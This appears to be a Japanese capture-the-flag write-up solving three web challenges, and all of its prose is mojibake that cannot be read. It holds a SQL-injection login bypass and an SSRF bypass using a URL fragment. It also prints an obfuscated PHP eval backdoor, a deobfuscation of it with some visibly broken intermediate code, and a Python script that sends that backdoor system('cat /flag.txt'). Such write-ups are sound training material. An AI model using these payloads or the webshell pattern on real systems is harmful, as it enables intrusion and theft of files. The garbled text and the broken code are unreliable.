/login.phpã«usernameã¨passowrdã§ãã°ã¤ã³ã§ãããµã¤ããããããã®ä»ã¯ãã¾ãé¢ä¿ãªããããªãã¼ã¸ã
åé¡æã«ãã°ã¤ã³ãã¹ãã¦ã¼ã¶åçã®æ示ã¯ãªãã£ãã®ã§ãã¨ããããadminã§ãã°ã¤ã³ã試ã¿ãã
usernaem = admin'--
ã§ã¯ã ãã ã£ãã®ã§ãusername = admin'#
ãå
¥åãããadminã§ãã°ã¤ã³ãã§ããã MySQLã ã£ãã®ã
ãã°ã¤ã³ãããã¼ã¸ã®ä¸ã«FLAGããã£ãã
NICC{1N_PuRSu1T_0F_4LL13S}
[web] paranormal-picture [50]
URLãå
¥åããã¨ãã®ãµã¤ãã«getãéã£ã¦ããããµã¤ããã½ã¼ã¹ã³ã¼ãã¯é·ããªãã£ãã®ã§èªãã¨ç°¡åã«ç解ã§ããã
from flask import Flask, request, render_template
import os
import requests
app = Flask(__name__)
def verifyBlog(url):
blog_list = ["blog","cryptid","real","666",".org"]
for word in blog_list:
if word not in url:
return False
return True
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
try:
result = verifyBlog(url)
if not result:
return render_template('index.html', error=f"Please submit a blog!")
except:
return render_template('index.html', error=f"Please submit a blog!")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/flag')
def flag():
if request.remote_addr == '::ffff:127.0.0.1' or request.remote_addr == '::1':
return render_template('flag.html', FLAG=os.environ.get("FLAG"))
else:
return render_template('alarm.html'), 403
if __name__ == '__main__':
app.run(host="::", port=80, threaded=True)
FLAGã¯/flagã«ã¢ã¯ã»ã¹ãããã¨ã§ã²ããã§ããããã¢ã¯ã»ã¹ããã¢ãã¬ã¹ã'::ffff:127.0.0.1' or request.remote_addr == '::1'
ãããªãã¨ãããªãã
ãµã¤ãã®ããä¸ã¤ã®æ©è½ã§ããGETãéãæ©è½ã«/flagã«ã¢ã¯ã»ã¹ãããã°ãããããhttp://localhost/flag
ãGETã§éãã°ããããããã
GETãéãéã«blog_list = ["blog","cryptid","real","666",".org"]
ã®æåããã¹ã¦å
¥ã£ã¦ããªãã¨GETãéããã¨ã¯ã§ããªãã
ããã¯#ã®å¾ã«ã¤ãããã¨ã§è§£æ±ºããã
æçµçãªãªã¯ã¨ã¹ã㯠http://localhost/flag#blogcryptidreal666.org
ã¨ãªãã
NICC{tHe_crYptIds_aRe_waIting_t0_sTrike}
[web] entangled-server
ã½ã¼ã¹ã³ã¼ããããããPHPãé£èªåããã¦ããã
<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}['d318a0a98']="\x39\x44\x2b\x67\x4e\x7c\x52\x6b\x42\x55\x7b\x35\x41\x3f\x6f\xa\x34\x5d\x20\x30\x71\x23\x59\x58\x54\x70\x43\x69\x45\x7d\x27\x4b\x40\x6a\x56\x25\x74\x73\x63\x29\x68\x77\x3e\x37\x3c\x60\x48\x9\x76\x3d\x5a\x57\x36\x28\x5e\x3a\x38\x53\x5f\x75\x47\x2f\x61\x50\x6c\x32\x5c\xd\x62\x49\x24\x78\x6e\x46\x2d\x21\x72\x2e\x6d\x7a\x4f\x5b\x66\x79\x31\x2c\x7e\x51\x4d\x26\x65\x4a\x4c\x64\x2a\x22\x3b\x33";
$GLOBALS[$GLOBALS['d318a0a98'][68].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][62].$GLOBALS['d318a0a98'][84].$GLOBALS['d318a0a98'][11]]=$GLOBALS['d318a0a98'][38].$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][76];$GLOBALS[$GLOBALS['d318a0a98'][40].$GLOBALS['d318a0a98'][90].$GLOBALS['d318a0a98'][82].$GLOBALS['d318
GLOBALSã¨16é²æ°ã§æ§æããã¦ããã
ã¨ããããããã§è¦ã¤ããé£èªåãã³ã¼ãã«éãã¦ã¿ãã
<?php
$GLOBALS['d318a0a98'] = "9D+gN|RkBU{5A?o\n4]\n0q#YXTpCiE}'K@jV%tsc)hw>7<`H\tv=ZW6(^:8S_uG/aPl2\\\rbI\$xnF-!r.mzO[fy1,~QM&eJLd*\";3";
$GLOBALS["baa15"] = "chr";
$GLOBALS["hefaea"] = "ord";
$GLOBALS["b43ce01"] = "strlen";
$GLOBALS["o2dac69"] = "ini_set";
$GLOBALS["n800cc9"] = "json_decode";
$GLOBALS["o1471614"] = "base64_decode";
$GLOBALS["vd6dfc005"] = "set_time_limit";
$GLOBALS["q109b8"] = "c484";
$GLOBALS["z2a2c835b"] = "ae858b";
$GLOBALS["ca7db"] = $_POST;
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
$k6de1cb3 = NULL;
$v24368366 = NULL;
$GLOBALS["cc688"] = "5p1n-th3-51lly-5tr1ng5";
global $cc688;
function ae858b($k6de1cb3, $rbf8cd4)
{
$qc11 = "";
for ($q58dcf = 0; $q58dcf < strlen($k6de1cb3);) {
for ($ibc3 = 0; $ibc3 < strlen($rbf8cd4) && $q58dcf < strlen($k6de1cb3); $ibc3++, $q58dcf++) {
$qc11 .= chr(ord($k6de1cb3[$q58dcf]) ^ ord($rbf8cd4[$ibc3]));
}
}
return $qc11;
}
function c484($k6de1cb3, $rbf8cd4)
{
global $cc688;
return ae858b(ae858b($k6de1cb3, $cc688), $rbf8cd4);
}
if (!$k6de1cb3) {
foreach ($GLOBALS["ca7db"] as $rbf8cd4 => $n18fd12d) {
$k6de1cb3 = $n18fd12d;
$v24368366 = $rbf8cd4;
}
}
$k6de1cb3 = @$GLOBALS[$GLOBALS['d318a0a98'][72] . $GLOBALS['d318a0a98'][56] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][38] . $GLOBALS['d318a0a98'][38] . $GLOBALS['d318a0a98'][0]]($GLOBALS[$GLOBALS['d318a0a98'][20] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][19] . $GLOBALS['d318a0a98'][0] . $GLOBALS['d318a0a98'][68] . $GLOBALS['d318a0a98'][56]]($GLOBALS[$GLOBALS['d318a0a98'][14] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][16] . $GLOBALS['d318a0a98'][43] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][52] . $GLOBALS['d318a0a98'][84] . $GLOBALS['d318a0a98'][16]]($k6de1cb3), $v24368366), true);
if (isset($k6de1cb3[$GLOBALS['d318a0a98'][62] . $GLOBALS['d318a0a98'][7]]) && $cc688 == $k6de1cb3[$GLOBALS['d318a0a98'][62] . $GLOBALS['d318a0a98'][7]]) {
if ($k6de1cb3[$GLOBALS['d318a0a98'][62]] == $GLOBALS['d318a0a98'][90]) {
eval($k6de1cb3[$GLOBALS['d318a0a98'][93]]);
}
exit;
}
大ä½å
容ãããã£ã¦ãããae858bãxorãè¡ãé¢æ°ãc484ã¯xorã2åãã¦ãã®ã§decryptoï¼çãªå½¹å²ã ããã¨äºæ¸¬ã§ããã ãã
ããã«ãk6de1cb3é¢æ°ã¯POSTãªã¯ã¨ã¹ããåãåããã®ã ã¨äºæ³ã§ãã
if (!$k6de1cb3) {
foreach ($GLOBALS["ca7db"] as $rbf8cd4 => $n18fd12d) {
$k6de1cb3 = $n18fd12d;
$v24368366 = $rbf8cd4;
}
}
ãã®ããã°ã©ã ã¯$k6de1cb3ãPOSTãªã®ã§ãPOSTã§ãã¼ã¿ãåãåããã®ã ã¨ãããã
æ®ãã¯ãèªåã§ç´ãã®ã¯éª¨ãæããããããã°ã©ã ã§èªååãã
ãã¨ãã°ã$GLOBALS['d318a0a98'][72] ã¯d318a0a98ã®72çªç®ãªã®ã§ãxãã¨ãªã
Replaced `72` with `x`
Replaced `56` with `8`
Replaced `19` with `0`
Replaced `19` with `0`
Replaced `38` with `c`
Replaced `38` with `c`
ã¨ãªãããã®çµæ以ä¸ã®ããã°ã©ã ãã§ãã
$k6de1cb3 = @$GLOBALS[$GLOBALS['d318a0a98']['x'] . $GLOBALS['d318a0a98']['8'] . $GLOBALS['d318a0a98']['0'] . $GLOBALS['d318a0a98']['0'] . $GLOBALS['d318a0a98']['c'] . $GLOBALS['d318a0a98']['c'] . $GLOBALS['d318a0a98']['9']]($GLOBALS[$GLOBALS['d318a0a98']['q'] . $GLOBALS['d318a0a98']['y'] . $GLOBALS['d318a0a98']['0'] . $GLOBALS['d318a0a98']['9'] . $GLOBALS['d318a0a98']['b'] . $GLOBALS['d318a0a98']['8']]($GLOBALS[$GLOBALS['d318a0a98']['o'] . $GLOBALS['d318a0a98']['y'] . $GLOBALS['d318a0a98']['4'] . $GLOBALS['d318a0a98']['7'] . $GLOBALS['d318a0a98']['y'] . $GLOBALS['d318a0a98']['6'] . $GLOBALS['d318a0a98']['y'] . $GLOBALS['d318a0a98']['4']]($k6de1cb3), $v24368366), true);
if (isset($k6de1cb3[$GLOBALS['d318a0a98']['a'] . $GLOBALS['d318a0a98']['k']]) && $cc688 == $k6de1cb3[$GLOBALS['d318a0a98']['a'] . $GLOBALS['d318a0a98']['k']]) {
if ($k6de1cb3[$GLOBALS['d318a0a98']['a']] == $GLOBALS['d318a0a98']['&']) {
eval($k6de1cb3[$GLOBALS['d318a0a98']['L']]);
}
exit;
}
GLBOALSãéªéãªã®ã§åé¤ãã
$GLOBALS["hefaea"] = "ord";
$GLOBALS["b43ce01"] = "strlen";
$GLOBALS["o2dac69"] = "ini_set";
$GLOBALS["n800cc9"] = "json_decode";
$GLOBALS["o1471614"] = "base64_decode";
$GLOBALS["vd6dfc005"] = "set_time_limit";
$k6de1cb3 = @$GLOBALS['x800cc9'](
$GLOBALS[['qy09b8']](
$GLOBALS[['oy47y6y4']]($k6de1cb3),
$v24368366
),
true
);
if (isset($k6de1cb3[['ak']]) && $cc688 == $k6de1cb3[['ak']]) {
if ($k6de1cb3[['a']] == ['e']) {
eval($k6de1cb3[['d']]);
}
exit;
}
ã@$GLOBALS['n800cc9']ãã¯"json_decode"ã®æåã«ç½®ãæãããã®ã§ãç½®ãæãããæåã¯ãã¹ã¦ç´ããã ã
ãã¨ã¯ãèªåã§å
容ãããããããããã«ãã¹ã¦ç´ãã
$k6de1cb3 = json_decode(c484(base64_decode($k6de1cb3), $v24368366), true);
if (isset($k6de1cb3[['ak']]) && $cc688 == $k6de1cb3[['ak']]) {
if ($k6de1cb3[['a']] == ['e']) {
eval($k6de1cb3[['d']]);
}
exit;
}
k6de1cb3ã¨v24368366ã¯POSTã§ã®å
¥åã¨ãªã£ã¦ãã
ããã ããããã°å¾ã¯ãk6de1cb3 ã«{"ak":"5p1n-th3-51lly-5tr1ng5","a":"e","d":"system('cat /flag.txt');"}
ãå
¥ããããªããã°ã©ã ãä½æãããªã¯ã¨ã¹ããéãã以ä¸Solver
import requests
import base64
import json
url = "http://entangled-server.niccgetsspooky.xyz:1337/"
def xor_encrypt(data, key):
result = ""
for i in range(len(data)):
result += chr(ord(data[i]) ^ ord(key[i % len(key)]))
return result
def decrypt(data, key):
return xor_encrypt(xor_encrypt(data, "5p1n-th3-51lly-5tr1ng5"), key)
json_encoded_data = json.dumps({"ak":"5p1n-th3-51lly-5tr1ng5","a":"e","d":"system('cat /flag.txt');"})
base64_encoded_data = base64.b64encode(json_encoded_data.encode('utf-8')).decode('utf-8')
encrypted_data = xor_encrypt(xor_encrypt(base64_encoded_data, "5p1n-th3-51lly-5tr1ng5"), "5p1n-th3-51lly-5tr1ng5")
data = {
"5p1n-th3-51lly-5tr1ng5":encrypted_data,
}
response = requests.post(url, data=data)
print("Status Code:", response.status_code)
print("Response Text:", response.text)
説æãä¸æã§ãããæå¾ã¾ã§è¦ã¦ããã ããããã¨ããããã¾ãã
åèãµã¤ã
github.com
labs.detectify.com